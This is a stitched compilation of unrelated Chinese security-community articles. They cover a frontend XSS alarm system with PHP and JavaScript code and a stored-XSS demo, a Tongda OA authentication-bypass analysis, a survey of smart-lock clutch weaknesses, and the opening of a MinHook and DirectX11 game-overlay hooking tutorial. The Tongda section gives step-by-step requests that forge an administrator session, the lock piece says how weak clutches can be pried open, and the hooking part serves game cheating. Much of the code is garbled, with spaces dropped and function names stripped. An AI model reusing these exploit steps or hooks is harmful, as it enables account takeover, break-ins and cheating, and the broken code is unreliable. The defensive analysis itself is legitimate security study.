现在大部分的网站都是在后端过滤一下后,就交给数据库,然后前端输出,整个流程只有后端做了防护,一般这个防护被绕过或者某个参数的防护没有做,那么网站就会被沦陷了(请别以为XSS只能获取cookie,熟练的程度取决于你的思想和编程)
现在我们来假设一下网站的一个URL参数没有做好过滤,直接导入数据库了,然后在前端反馈结果。代码如下:
把用户输入的内容导入到数据库里defenderXssTest_GetData.php:
<?php
if(empty($_GET['xss'])){ //判断当前URL是否存在XSS参数
exit();
}
$xssString= $_GET['xss'];
/*数据库基础配置*/
$mysql_name='localhost';
$mysql_username='root';
$mysql_password='123456';
$mysql_database='xsstest';
$conn= mysql_connect($mysql_name,$mysql_username,$mysql_password);
mysql_query("setnames 'utf8'");
mysql_select_db($mysql_database);
$sql= "insert into XSSTest (xss) values ('$xssString')";
mysql_query($sql);
mysql_close();
返回数据库中最后一条数据内容(即最新的内容)defenderXssTest_QueryData.php:
<?php
/*数据库基础配置*/
$mysql_name='localhost';
$mysql_username='root';
$mysql_password='123456';
$mysql_database='xsstest';
$conn= mysql_connect($mysql_name,$mysql_username,$mysql_password);
mysql_query("setnames 'utf8'");
mysql_select_db($mysql_database);
$sql="select * from XSSTest where id = (select max(id) fromXSSTest)"; //返回数据库中最后一条数据
$xssText= mysql_query($sql);
while($row= mysql_fetch_array($xssText)){ //显示从数据库中返回的数据
echo$row['xss'];
}
mysql_close();
前端输入及反馈defenderXssTest.html:
<!DOCTYPEhtml>
<html>
<head>
<metacharset="utf-8">
<title>前端防御XSS#Demo1</title>
</head>
<body>
<inputtype="text" name="xss">
<inputtype="submit" value="提交"id="xssGet">
</body>
<!--测试请记得更换jQuery路径--!>
<scripttype="text/javascript"src="/Public/js/library/jquery.js"></script>
<script>
$("#xssGet").click(function(){
$.ajax({
url:'/defenderXssTest_GetData.php',
type:'get',
dataType:'text',
data:"xss="+$('input:first').val(),
cache:false,
async:false,
})
.done(function(){
$.ajax({
url:'/defenderXssTest_QueryData.php',
type:'post',
dataType:'text',
cache:false,
async:false,
})
.done(function(data){
$("body").append(data);
})
})
});
</script>
</html>
一共三个文件,因为测试用,我就没把数据库基础配置分离出来放在其他文件里了。
现在我们在浏览器里打开defenderXssTest.html文件:
输入“<script>(1)</script>”后,点击“提交”。会发现弹窗了:
现在我们再看下数据库:
已经导入到数据库里了。
OK,以上就是最普通的储蓄型XSS案例。为什么会出现这个问题呢,是因为PHP没有做好过滤。同时前端也没有做好过滤,这里会有人说前端做没用的,攻击者可以使用burp抓到此数据包,然后改包就可以绕过了。对,确实是这样。但是大伙从一开始就已经被误导了。想知道哪里被误导么,往下看。
这里我画个前端、Nginx、后端都做了过滤的图:
思维导图URL:[https://www.processon.com/view/link/56c486cde4b0e2317a8b6681](https://www.processon.com/view/link/56c486cde4b0e2317a8b6681)
这里我们可以看到防火墙的第一道门是前端过滤XSS机制。也是目前被大家所熟知的过滤结构。而本章要说的是:为什么不把前端过滤copy或者move到后端过滤机制下呢?
这里是新型的过滤机制的图:
思维导图URL:[https://www.processon.com/view/link/56c4882ce4b0e5041c35ab53](https://www.processon.com/view/link/56c4882ce4b0e5041c35ab53)
这里我们在后端过滤机制的后面加上了前端过滤。为什么要这样做呢?
大家都知道前端过滤XSS是可以被抓包软件给修改的,所以是可以绕过,没有什么用。而Nginx过滤我相信大家都知道,很少有人愿意采用它,因为如果是做安全文章一类的话,是会被Nginx给抛弃当前的数据包的,也就是你发布的文章不会被存到数据库里,而且Nginx防御XSS模块并没有前端、后端那样简单方便,需要配置的东西很多。也导致了很多管理员不在Nginx安全上下功夫,即使管理员配置了Nginx过滤XSS模块,也可以绕过。
利用Nginx的一处逻辑缺陷(详情请移步到:[http://www.freebuf.com/articles/web/61268.html](http://www.freebuf.com/articles/web/61268.html)
文章里的0x03小节:利用Nginx&Apache环境bug来实现攻击),至于后端过滤机制肯定会有不严谨的时候,不然也而不会导致那么多XSS漏洞了。所以当攻击者输入的XSS字符串绕过了前端、Nginx、后端的话,那么就会直接导入到数据库中。那么这个时候后端传来的数据就不可信了。而如果我们在前端显示后端传来的数据时加了过滤会怎么样呢,答案是verygood。当然了,这里有个前提,是前端显示后端传来数据的时候使用的是AJAX方法,而不是类似ThinkPHP这样在模板里调用。确切的说:此方法只针对于API接口
现在我们来做一个测试,之前的代码就是使用了AJAX方法,而
defenderXssTest_GetData.php和defenderXssTest_QueryData.php就类似于后端的API接口。我们现在在原有的基础上添加一些代码:
下面是前端过滤XSS的代码,取自于百度FEX前端团队的Ueditor在线编辑器:
functionxssCheck(str,reg){
returnstr ? str.replace(reg ||/[&<">'](?:(amp|lt|quot|gt|#39|nbsp|#d+);)?/g,function (a, b) {
if(b){
returna;
}else{
return{
'<':'<',
'&':'&',
'"':'"',
'>':'>',
"'":''',
}[a]
}
}): '';
}
然后我们在原有代码的基础上添加xssCheck()函数就行了。如下:
<!DOCTYPEhtml>
<html>
<head>
<metacharset="utf-8">
<title>前端防御XSS#Demo1</title>
</head>
<body>
<inputtype="text" name="xss">
<inputtype="submit" value="提交"id="xssGet">
</body>
<scripttype="text/javascript"src="/Public/js/library/jquery.js"></script>
<script>
$("#xssGet").click(function(){
$.ajax({
url:'/defenderXssTest_GetData.php',
type:'get',
dataType:'text',
data:"xss="+$('input:first').val(),
cache:false,
async:false,
})
.done(function(){
$.ajax({
url:'/d efenderXssTest_QueryData.php',
type:'post',
dataType:'text',
cache:false,
async:false,
})
.done(function(data){
$("body").append(xssCheck(data));
})
})
});
functionxssCheck(str,reg){
returnstr ? str.replace(reg ||/[&<">'](?:(amp|lt|quot|gt|#39|nbsp|#d+);)?/g,function (a, b) {
if(b){
returna;
}else{
return{
'<':'<',
'&':'&',
'"':'"',
'>':'>',
"'":''',
}[a]
}
}): '';
}
</script>
</html>
现在我们来输入XSS字符串看看:
变成了这个样子。我们再去数据库里看下:
的确是完整的XSS字符串,但是前端过滤了,导致此XSS没有用武之地。
所以前端开发人员只需要在网站的base.js代码里把过滤XSS的函数写进去,再把每一个ajax传过来的数据加上函数就可以了。
**
**
**0x02:前端报警机制**
这里的报警机制不能说特别的完整,是可以绕过的。那这个报警机制到底有何用处呢?就是在攻击者测试的时候发现及报警。
我们都知道测试XSS的时候和装逼的时候,攻击者会输入()函数,而之前的过滤方式,都是使用正则匹配,从而导致正则过长,匹配不易,运行过慢等问题。而现在我们完全可以重写函数来让攻击者在测试的时候,使用的是我们已经重写后的函数,这样做的好处是:当当前的参数不存在XSS的时候,这些函数是不会被触发的。而当当前参数存在XSS的时候,攻击者会依次输入:woaini->查看是否在源码里输出->woaini<>->查看<>有没有被过滤->输入<script>alret(1)</script>或者<imgsrc="test"
onerror="(1)"/>->使用了我们重写的函数->触发报警机制。这样说可能有些人看不懂,下面是我画的图:
思维导图:[https://www.processon.com/view/link/56c55805e4b0e5041c39261f](https://www.processon.com/view/link/56c55805e4b0e5041c39261f)
让我们来看下具体的代码吧:
varbackAlert = ; //把赋值给backAlert,当后面重写时,避免照成死循环,照成溢出错误。
window.= function(str){ //重写函数
backAlert(str);
console.log("已触发报警,将数据发送到后台");
}
再把console.log换成ajax把数据发送给后台应用。后台接受的时候记得做过滤。前端代码记得加密,防止攻击者看出意图从而导致绕过,不触发报警。因为可能有些公司、个人网站已经有了自己的攻击报警系统、智能日志检索系统,我也就不再写了。把ajax发送的数据过滤后存到数据库里,再显示就行了。可以根据自己现有的框架进行开发,思路上面已经了,不难理解,代码也不难写。如果你不会或者说是不想写,可以等到我下一篇的文章。到时候里面会有全部的源代码。
**0x3:前端报警机制之前端要做的事**
其实标题应该改成“XSS报警机制”的,因为在这一章里使用了大量的后端代码。但是第一章的标题都出来了,也没法改了。
前端要做的事情在第一章的时候就已经说了,代码如下:
现在我们就是针对第38行进行修改,改成我们后台接受的APIURL。就像这样:
对,就这一行。没有其他代码。在实际的线上环境中,也只需要上面5行。可以直接copy到您的线上环境中,记得把倒数第二行的url改成自己的地址就行了。难道就那么简单?不,后面还会一点前端代码
**0x04:前端报警机制之数据库要做的事**
一共两个表。fecm_user和fecm_bugdata。
fecm_user的字段信息如下:
name为管理员账户名
md5name为3次name值的md5
password为3次密码的md5
email为管理员邮箱
create_date为管理员创建时间
为了安全起见(其实就是懒)没有写添加管理员的,自行在数据库里添加
fecm_bugdata的字段信息如下:
url为漏洞的url地址
category为漏洞类型
cookies为攻击者的cookies
ua为攻击者的User-Agent
hxff_ip为攻击者的HTTP_X_FORWARDED_FOR
hci_ip为攻击者的HTTP_CLIENT_IP
ra_ip为攻击者的REMOTE_ADDR
time为攻击者攻击的时间
fixes为漏洞是否修复(0为未修复,1为已修复)
**0x05:前端报警机制之后端要做的事**
因为后端代码太多,所以我就说一些核心的后端处理代码。
在0x01节里,有个核心的代码是newImage().src =
'[http://fecm.cn/Api/addVul/](http://fecm.cn/Api/addVul/)';
接下来我们来说说这个Api的处理方式(ThinkPHP代码)
publicfunction addVul(){
if(I('get.category','','int')== ""){
$this->ajaxReturn(array(
"typeMsg"=> "error",
"msgText"=> "漏洞类型错误",
));
}
switch(I('get.category','','int')) {
case'1':
$vul['category']= "触发alret函数";
break;
case'2':
$vul['category']= "发现不在白名单里的第三方JavaScript资源";
break;
default:
$this->ajaxReturn(array(
"typeMsg"=> "error",
"msgText"=> "漏洞类型错误",
));
break;
}
if($_SERVER['HTTP_X_FORWARDED_FOR']=== null){
$vul['hxff_ip']= "攻击者没有通过代理服务器访问";
}else{
$vul['hxff_ip']= I('server.HTTP_X_FORWARDED_FOR'); //获取攻击者的HTTP_X_FORWARDED_FOR
}
if($_SERVER['HTTP_CLIENT_IP']=== null){
$vul['hci_ip']= "攻击者数据包头部没有HTTP_CLIENT_IP";
}else{
$vul['hci_ip']= I('server.HTTP_CLIENT_IP');//获取攻击者的HTTP_CLIENT_IP
}
$vul['ra_ip']= I('server.REMOTE_ADDR'); //获取攻击者的REMOTE_ADDR
$vulcookie = I('cookie.'); //获取攻击者的cookies
for($i= 0;$i<count($vulcookie);$i++){
$vul['cookies'].=array_keys($vulcookie)[$i].'='.$vulcookie[array_keys($vulcookie)[$i]].';'; //拼接成方便查看的cookies格式
}
$vul['url'] = I('server.HTTP_REFERER'); //获取攻击者攻击成功的url
$vul['ua'] = I('server.HTTP_USER_AGENT'); //获取攻击者的User-Agent
$vul['time'] = date("Y-m-d"); //获取攻击者攻击的时间
$vul['fixes']= 0; //默认为漏洞未修复
$bugData= M('bugdata'); //连接fecm_bugdata数据库
$bugData->data($vul)->add(); //添加到数据库中
}
因为这里是接受攻击信息,不能有管理员验证。
后台有一个数据库可视化的表格,这里我使用的Chart.js,下面是后端代码：
publicfunction index(){
$reportForm= M('bugdata'); //连接fecm_bugdata数据库
$dateTimeLabels= [];
$dateTimeTotal= [];
for($i= 0;$i < 7;$i++){ //获取近7天的数据
$time= date("Y-m-d",strtotime(-$i." day"));
array_unshift($dateTimeLabels,$time);
$data['time']= array('like','%'.$time.'%');
array_unshift($dateTimeTotal,$reportForm->where($data)->count());
}
$reportForm= json_encode(["Labels" => $dateTimeLabels,"Total"=> $dateTimeTotal]); //转化成json格式
$this->assign('reportForm',$reportForm)->assign('total',total()); //交给前端模块
$this->display(); //前端页面生成
}
前端代码:
varlineChartData = {
labels:eval({$reportForm})['Labels'],
datasets: [{
fillColor: "rgba(151,187,205,0.5)",
strokeColor: "rgba(151,187,205,1)",
pointColor: "rgba(151,187,205,1)",
pointStrokeColor: "#fff",
data: eval({$reportForm})['Total']
}]
}
varmyLine = newChart(document.getElementById("Statistics").getContext("2d")).Line(lineChartData);
实际的效果图:
**0x06:让我们实际测试一下**
代码就用0x01节的代码。我们输入<script>(1)</script>。看一下:
我们再去平台看一下:
成功显示了。
**0x07:检测第三方js资源是否为xss脚本**
这一节需要用到之前长短短分享的代码:
for(vari=0,tags=document.querySelectorAll('iframe[src],frame[src],script[src],link[rel=stylesheet],object[data],embed[src]'),tag;tag=tags[i];i++){
var a = document.createElement('a');
a.href= tag.src||tag.href||tag.data;
if(a.hostname!=location.hostname){
console.warn(location.hostname+'发现第三方资源['+tag.localName+']:'+a.href);
}
}
但是他这里只是在console里显示,没有进一步的操作,而且他这里同时检测了iframe、frame、script、link、object、embed标签,对我们来说只需要script标签就行了,于是我重写了这段代码,首先我们需要一个白名单列表,用于放置网站允许第三方加载的url地址:
varscriptList = [
location.hostname,
]
这里只是默认的只允许当前域名加载,打击爱可以根据自己的需要添加。
然后就是获取当前网页的所有script标签:
varwebScript = document.querySelectorAll('script[src]');
在把当前的地址赋值varwebHost
=location.hostname;至于为什么不放在for循环里,因为根据js优化规则,for循环里避免多次一样的赋值。
接下来就是for循环里的代码了:
for(vari = 0;i < webScript.length;i++){
var a = document.createElement('a'); //建立一个新的a标签,方便取值
a.href= webScript[i].src; //把script里的src赋值给a标签里的href属性
if(a.hostname!= webHost){ //对比,是否为第三方资源
for(varj = 0;j < scriptList.length;j++){
if(a.hostname!= scriptList[i]){ //判断当前的第三方资源是否在白名单里
newImage().src = 'http://fecm.cn/Api/addVul/category/2'; //发送给FECM
}
}
}
}
这里我做了一个测试,加载[hi.baidu.com](http://hi.baidu.com)的资源:
刷新后,打开FECM平台,看一下:
**0x08:结语**
之前EtherDream已经说了前端防火墙了,只是他做的是防御,而我是不防御(也可以防御)直接报警。然后人工修复代码。因为虽然你防御住了,但是后端漏洞还在那,而触发报警机制后就可以进行人工修复。不是说EtherDream写的不好,反之非常好,在他的基础上也可以修改成前端报警机制,不过我还是喜欢让攻击者高兴几十分钟后,就懵逼的样子。在EtherDream的代码中有一个很棒的代码片段,他使用了内联事件监听了onclick等on事件,可以近一步的监听到黑客的操作。因为版权问题,我不方便把代码贴到本文中,毕竟是别人的思想结晶。想了解的话可以去查看:
[http://fex.baidu.com/blog/2014/06/xss-frontend-firewall-1/](http://fex.baidu.com/blog/2014/06/xss-frontend-firewall-1/)
本来打算采用ED的on事件拦截代码的,但是发现on事件在程序里也会大量使用,索性就没有添加。使用时记得在ApplicationHomeConfconfig.php改下配置(我已经全部加了注释,即使不会thinkphp的也可以搭建)个人代码写的没有多好,思路可能也比较烂。如果您有什么意见欢迎提出来,我会进一步修改的。
下载地址:[https://github.com/BlackHole1/Fecm](https://github.com/BlackHole1/Fecm)
**Author:Black-Hole**
**Blog:bugs.cc**
**github:**[
**https://github.com/BlackHole1/**](https://github.com/BlackHole1/)
**Twitter:**[
**https://twitter.com/Free_BlackHole**](https://twitter.com/Free_BlackHole)
[**Email:[email protected]**](mailto:Email%[email protected]) | 社区文章 |
最近爆了个通达 OA 任意用户登录漏洞，正好分析分析，顺便师傅一起学习。
# 漏洞分析
## 第一处
首先我们找到文件根目录的文件 `logincheck_code.php`，这个文件是没有权限验证的。
我们会发现在 180 行附近有两行代码：
$LOGIN_UID = $UID;
$LOGIN_USER_ID = $USER_ID;
...
$_SESSION["LOGIN_UID"] = $LOGIN_UID;
$_SESSION["LOGIN_USER_ID"] = $LOGIN_USER_ID;
验证登录时就是判断的这两个 `SESSION`。
往上翻翻 `$UID` 哪来的：
可以发现是直接从 `$_POST` 中获取的，也就是任意控制即可。
但是 `15` 行附近有个判断，如果缓存里没有 `CODE_LOGIN.$CODEUID`（`$CODEUID` 也是可以任意控制的）
就退出程序了，我们可以全局搜索一下这个缓存在哪里设置了。
很快找到一处： `ispirit\login_code.php`
<?php
include_once "inc/utility_all.php";
include_once "inc/utility_cache.php";
include_once "inc/phpqrcode.php";
$codeuid = $_GET["codeuid"];
$login_codeuid = TD::get_cache("CODE_LOGIN_PC" . $codeuid);
if (empty($login_codeuid)) {
// 给 codeuid 设置个随机值
$login_codeuid = getUniqid();
}
$databack = array("codeuid" => $login_codeuid, "source" => "pc", "codetime" => time());
$dataStr = td_authcode(json_encode($databack), "ENCODE");
$dataStr = "LOGIN_CODE" . $dataStr;
$databacks = array("codeuid" => $login_codeuid, "authcode" => $dataStr);
//将 codeuid 存入缓存
TD::set_cache("CODE_LOGIN_PC" . $login_codeuid, $login_codeuid, 120);
//输出 codeuid
echo json_encode(td_iconv($databacks, MYOA_CHARSET, "utf-8"));
echo "\r\n\r\n\r\n";
?>
这里给重要的三句话写了注释。我们只要直接访问一次这个文件就可以伪造了。
## 复现测试
首先访问一次 `/ispirit/login_code.php`：
存下这个 `codeuid`。然后访问 `/logincheck_code.php`：
`UID` 设置成 `1`，这个 `ID` 默认是管理员。然后 `CODEUID` 设置成： `_PC`+`codeuid`：
随便访问个需要验证的 `url`：`/pda/main.php`
## 第二处任意登录
一样的思路，我们全局搜索会找到在文件 `\ispirit\login_code_check.php` 处有类似的代码：
我们往上翻：
会发现 `$UID` 来自 `$code_info`。`$code_info` 又来自缓存 `CODE_INFO_PC`+`$login_codeuid`。
这里的 `$code_info[type]` 需要等于 `confirm`.
再上面一点有这样的代码：
//$codeuid 可控
$login_codeuid = TD::get_cache("CODE_LOGIN_PC" . $codeuid);
这里和之前一样得。
然后我找找哪里有设置 `CODE_INFO_PC` 的代码，在文件 `general\login_code_scan.php`：
可以发现这里的 `codeuid` 和 `type` 都是可控的。现在就可以利用了。
## 漏洞复现
1. 首先访问 `/ispirit/login_code.php` 获取 `codeuid`。
2. 访问 `/general/login_code_scan.php` 提交 `post` 参数：
`source=pc&type=confirm&codeuid={5D9B864F-07AD-519C-13D1-E573E226302A}&uid=1&`
1. 最后访问 `/ispirit/login_code_check.php?codeuid=xxx`
这样 `$_SESSION` 里就有了登录的信息了。
# 补丁分析
**第一处修复`logincheck_code.php`：**
这里从 `redis` 中获取了数据，判断了 `$UID` 不等于 `0` 的话才能下一步，相当于做了个权限验证吧。
如果我们能找到一处设置 `OA:authcode:token:XXX` 的地方，或者找到一处可以控制键值的缓存，即可绕过。
**第二处修复`\general\login_code_scan.php`**
在设置 `CODE_INFO_PC`前进行了权限验证，这里根据传入的 `session` 查询此 `session` 是否登陆过，如果没登陆过就退出程序
# 思考及总结
这个漏洞其实挺简单的，但是到现在才发现，看来挖掘这样的洞更需要一些耐心和细心。由于这个程序用了全局覆盖，我们可以直接覆盖 `_SESSION`
里的数据，但是 `_SESSION` 是存在 `redis` 中的。所以如果有一处先开启 `session_start` 然后引入了
`session.php` 文件，即可直接覆盖 `_SESSION` 里的数据。 | 社区文章 |
# 浅谈智能门锁离合器安全设计
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
说起智能门锁与传统门锁的区别，大家都能信手拈来，比如，前者支持指纹、密码、蓝牙、NFC，个别甚至还有 4G/5G
模块，然而，很多人忽视了在机械方面智能门锁也存在一个特别的结构——离合器。
以执手门锁为例，所谓离合器，即外执手与锁舌之间的动力传动开关，一般来说，当离合器处于分离状态时，扭动外执手只能空转，并不能开门，而当离合器处于接合状态时，则能带动锁舌开门。
为了设计一个离合器，广大工程师们的思路又是百家争鸣，难免有意或无意地犯一些错误，进而让用户暴露在危险之下。因此，针对市面上门锁离合器常见设计方案，笔者进行了整理及安全分析，希望引起安全研究人员及普通消费者重视。
## 一、按照有无离合器分类
*** 有离合器：**
大多数智能门锁都具有离合器，如小米米家智能门锁系列均属于此类，收到开锁指令后，需人工扭动外执手或推拉门把手开门。
*** 无离合器：**
少数智能门锁采用全自动锁体，即锁体内置电机，收到开锁指令后，电机带动锁舌开门，无需外力，体验上略胜一筹，防盗安全性高，但由于采用了电子锁体，可靠性下降，在火灾、返潮等场景下可能导致无法电子开门，所以通常都会保留机械开门渠道兜底，另一方面电机耗电量也相对比较大。
## 二、按照离合作用机制分类
*** 连接型离合器：**
即通常所说的离合，在分离状态时，扭动执手无法开门，在接合状态时，才能带动锁舌开门，未作特别说明，下文中所有离合均属于此类型。
*** 阻挡型离合器：**
严格来讲并不符合离合器定义（a mechanism for connecting and disconnecting an engine and the
transmission system），一般是一个金属插销，在未收到开锁指令常态下，插销插入方钢套内阻止其转动，直观上讲就是执手拧不动。
显然此离合器的安全性就取决于插销的物理强度，然而市面上不乏大量低强度金属插销产品，攻击者只需强行扭动门把手即可开门，该设计有百害而无一利，应当被淘汰。
## 三、按照离合安装位置分类
*** 外置离合器：**
离合器位于前面板，结构非常简单，如下图案例所示，在未收到开锁指令时，插销并未插入离合轴内，所以扭动执手，方钢不会跟随旋转。
一般来说，假插芯门锁都会采用这种设计，能降低企业生产成本，对用户而言维修成本也非常小。
但是很显然，这种设计类似于Web登陆系统把密码判断逻辑放在客户端 JavaScript
中实现，攻击者只需绕开离合器这一关，就可以开门，要么把前面板撬开手动接合离合器，要么把前面板跟门板之间撬开一道缝，用工具夹紧方钢扭动，不是问题。
*** 中置离合器：**
离合器位于锁体内，与其它方案不同的是，不再是一根方钢贯穿前后面板，而是分为相互独立的外方钢、内方钢，如下图案例所示，在未收到开锁指令时，扭动外执手，只能带动离合块转动，无法开门，在收到开锁指令后，离合销插入离合孔内，外方钢带动离合块，离合块可带动拨片块转动，进一步控制开锁机构开门。
由此可见，即使拆掉前面板，攻击者也无法开门，防盗安全性高。然而同样，由于锁体接有供电线、信号线，可靠性下降，在火灾、返潮等场景下可能导致无法电子开门。
*** 内置离合器：**
离合器位于后面板，如下图案例所示，方钢穿过锁体，但不能直接控制锁舌，必须经由内把手回转件才能控制，在未收到开锁指令时，方钢套与内把手回转件处于分离状态，所以扭动门外执手，只会带动方钢、方钢套旋转，无法带动内把手回转件进一步控制锁舌开门，在收到开锁指令后，动力装置推动顶销至方钢套上的侧面圆孔，将方钢套与内把手回转件连接起来，扭动门外执手，即可带动整个传动系统开门。
可见该设计将离合置于后面板，防盗安全性高，同时并不需要电子锁体，在稳定可靠性上也不会打折扣。
**注：离合器只是组成智能门锁的零件之一，离合器安全性不能直接影响智能门锁整体安全性，本文不能作为选购门锁唯一依据。**
**[参考文献]**
1.刘仁祥，冯叶，梁龙驱，CN208294262U 一种电子锁复合离合器
2.蔡永梁，CN209568792U 一种锁体离合装置
3.陈正华，倪慧珍，刘黎军，卢荣，孟涛，CN204663159U 一种顶板式返离合组件 | 社区文章 |
**作者：The_Itach1@知道创宇404实验室
日期：2022年12月27日**
前言：最近看到了一个github的项目，分析过后觉得里面无论是代码还是界面都很好看，然后开始研究其代码。
这篇文章主要分析其如何实现的辅助窗口的实现，其用到的东西有minihook+DirectX11(9) Hook+imgui。
## Minihook
项目地址：[TsudaKageyu/minhook: The Minimalistic x86/x64 API Hooking Library for
Windows (github.com)](https://github.com/TsudaKageyu/minhook)
先来了解下Minihook，Minihook是适用于 Windows 的简约 x86/x64 API 挂钩库。
一般来说，我们Hook windwos API的步骤是
* 编写DLL，确定Hook 的API函数。
* 编写自己的函数。
* 根据PE结构的知识点，遍历IAT函数表，根据函数名找到函数地址，进行修改，修改为我们的函数地址。
常见Hook IAT代码如下。
// hook_iat
BOOL hook_iat(LPCSTR szDllName, PROC pfnOrg, PROC pfnNew)
{
HMODULE hMod;
LPCSTR szLibName;
PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
PIMAGE_THUNK_DATA pThunk;
DWORD dwOldProtect, dwRVA;
PBYTE pAddr;
// hMod, pAddr = ImageBase of calc.exe
// = VA to MZ signature (IMAGE_DOS_HEADER)
hMod = GetModuleHandle(NULL);
pAddr = (PBYTE)hMod;
// pAddr = VA to PE signature (IMAGE_NT_HEADERS)
pAddr += *((DWORD*)&pAddr[0x3C]);
// dwRVA = RVA to IMAGE_IMPORT_DESCRIPTOR Table
dwRVA = *((DWORD*)&pAddr[0x80]);
// pImportDesc = VA to IMAGE_IMPORT_DESCRIPTOR Table
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)hMod+dwRVA);
for( ; pImportDesc->Name; pImportDesc++ )
{
// szLibName = VA to IMAGE_IMPORT_DESCRIPTOR.Name
szLibName = (LPCSTR)((DWORD)hMod + pImportDesc->Name);
if( !_stricmp(szLibName, szDllName) )
{
// pThunk = IMAGE_IMPORT_DESCRIPTOR.FirstThunk
// = VA to IAT(Import Address Table)
pThunk = (PIMAGE_THUNK_DATA)((DWORD)hMod +
pImportDesc->FirstThunk);
// pThunk->u1.Function = VA to API
for( ; pThunk->u1.Function; pThunk++ )
{
if( pThunk->u1.Function == (DWORD)pfnOrg )
{
VirtualProtect((LPVOID)&pThunk->u1.Function,
4,
PAGE_EXECUTE_READWRITE,
&dwOldProtect);
pThunk->u1.Function = (DWORD)pfnNew;
VirtualProtect((LPVOID)&pThunk->u1.Function,
4,
dwOldProtect,
&dwOldProtect);
return TRUE;
}
}
}
}
return FALSE;
}
可以看到过程还是比较繁琐，Minihook就很好的帮我们简化这个过程。
写一个hook弹窗的样例吧，将minihook对应的lib导入到项目后，就可以直接使用了，很方便。
#include <Windows.h>
#include <iostream>
#include "minhook/minhook.h"
#pragma comment (lib, "minhook/minhook.lib")
//typedef int (WINAPI* fMessageBoxA)(HWND, LPCSTR, LPCSTR, UINT);
using fMessageBoxA = int(WINAPI*)(HWND , LPCSTR , LPCSTR , UINT );
fMessageBoxA pMessageBoxA = NULL;
PVOID pMessageBoxAAddress;
int WINAPI MessageBoxAHooked(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)
{
LPCSTR lpMyText = "Hacked by The_Itach1";
return pMessageBoxA(hWnd, lpMyText, lpCaption, uType);
}
void SetupMessageBoxAHook()
{
pMessageBoxAAddress = (LPVOID)MessageBoxA;
if (MH_CreateHook(pMessageBoxAAddress, &MessageBoxAHooked, (PVOID*)&pMessageBoxA) != MH_OK)
return;
if (MH_EnableHook(pMessageBoxAAddress) != MH_OK)
return;
std::cout << "MessageBoxA Hook start!\n";
}
void initHook()
{
if (MH_Initialize() != MH_OK)
{
MessageBoxA(NULL, "Error initialize minhook", "alternative hack", MB_OK | MB_ICONERROR);
}
}
void UnHook()
{
MH_DisableHook((PVOID)MessageBoxA);
MH_RemoveHook((PVOID)MessageBoxA);
MH_Uninitialize();
}
int main()
{
//minhook的初始化
initHook();
//MessageBoxAHook
SetupMessageBoxAHook();
//测试是否hook成功
MessageBoxA(NULL, "box1", "box1", MB_OK);
//卸载hook
UnHook();
MessageBoxA(NULL, "box2", "box2", MB_OK);
system("pause");
}
效果如下，可以看出当hook时，弹窗的内容被修改了，不hook时，就是正常的弹窗了。
而且minihook相比于IAT hook，或者Detours，感觉操作上更加的简便。
## DirectX11
### DirectX 简介
DirectX 是 Windows 中的一组组件，允许软件（主要且尤其是游戏）直接与视频和音频硬件结合使用。 使用 DirectX
的游戏可以更有效地使用内置于硬件的多媒体加速器功能，从而改善你的整体多媒体体验。
### 为什么要挂钩DirectX
在为游戏创建作弊时，渲染额外的内容或修改模型在游戏中的渲染方式迟早可能需要。有多种技术可以实现这一点，但最常见的技术之一是挂钩 DirectX API 的
3D 图形组件。
比如说D3D
HOOK实现骨骼透视，实际上就是hookD3D绘制3D模型都需要调用的DrawIndexedPrimitive()函数，然后判断模型，修改其Z轴深度缓存，从而实现模型透视，还有就是这篇文章要讲到的，通过Hook
DirectX11中呈现渲染图像的函数，来达到在游戏窗口上多添加一个imgui的辅助窗口。
### Direct3D11初始化
[Direct3D11学习：（三）Direct3D11初始化 - 郭小雷 - 博客园
(cnblogs.com)](https://www.cnblogs.com/Ray1024/p/6084609.html)
可以先看上面这篇文章，初步了解下Direct3D11初始化的过程，我们需要注意的是其中的创建一个渲染目标视图。
ID3D11RenderTargetView* mRenderTargetView;
ID3D11Texture2D* backBuffer;
// 获取一个交换链的后台缓冲区指针
mSwapChain->GetBuffer(0,__uuidof(ID3D11Texture2D), reinterpret_cast<void**>(&backBuffer));
// 创建渲染目标视图
md3dDevice->CreateRenderTargetView(backBuffer, 0, &mRenderTargetView);
// 每调用一次GetBuffer方法，后台缓冲区的COM引用计数就会递增一次。我们需要在使用完之后释放它
ReleaseCOM(backBuffer);
而什么是渲染呢 在Direct3D中，一个设备对象至少包含两个显示缓存区：当前缓存区（Front Buffer）和后备缓存区（Back
Buffer），前者可以看成Direct3D窗口的映射。当我们渲染图形时，实际上并不是直接在窗口上输出，而是在后备缓存区上绘图。渲染完毕后，交换两个缓存区，使原来的后备缓存区变成当前缓存区，从而实现窗口刷新。快速重复此过程，就会在屏幕上形成连续的动画。
所以想要在游戏窗口，再加一个imgui的窗口，我们就需要在其执行绘制函数前，多创建一个渲染目标视图到其后备缓存区，这样后面绘制的时候，就也会绘制我们新添的imgui窗口。
### Imgui
[Dear Imgui](https://github.com/ocornut/imgui) 是一个 **用于 C++ 的无膨胀图形用户界面库**
。它输出优化的顶点缓冲区，您可以在启用 3D 管道的应用程序中随时渲染这些缓冲区。它快速、可移植、与渲染器无关且自包含（无外部依赖项）。
Imgui的example很多，其中就有[example_win32_directx11](https://github.com/ocornut/imgui/tree/master/examples/example_win32_directx11)的例子，只不过是开发的角度，不像游戏是已经开发出来的exe，所以对于游戏，是需要对关键函数进行hook的。
下面来分析这个example_win32_directx11。
// Dear ImGui: standalone example application for DirectX 11
// If you are new to Dear ImGui, read documentation from the docs/ folder + read the top of imgui.cpp.
// Read online: https://github.com/ocornut/imgui/tree/master/docs
#include "imgui.h"
#include "imgui_impl_win32.h"
#include "imgui_impl_dx11.h"
#include <d3d11.h>
#include <tchar.h>
// Data
static ID3D11Device* g_pd3dDevice = NULL;
static ID3D11DeviceContext* g_pd3dDeviceContext = NULL;
static IDXGISwapChain* g_pSwapChain = NULL;
static ID3D11RenderTargetView* g_mainRenderTargetView = NULL;
// Forward declarations of helper functions
bool CreateDeviceD3D(HWND hWnd);
void CleanupDeviceD3D();
void CreateRenderTarget();
void CleanupRenderTarget();
LRESULT WINAPI WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam);
// Main code
int main(int, char**)
{
// Create application window
//ImGui_ImplWin32_EnableDpiAwareness();
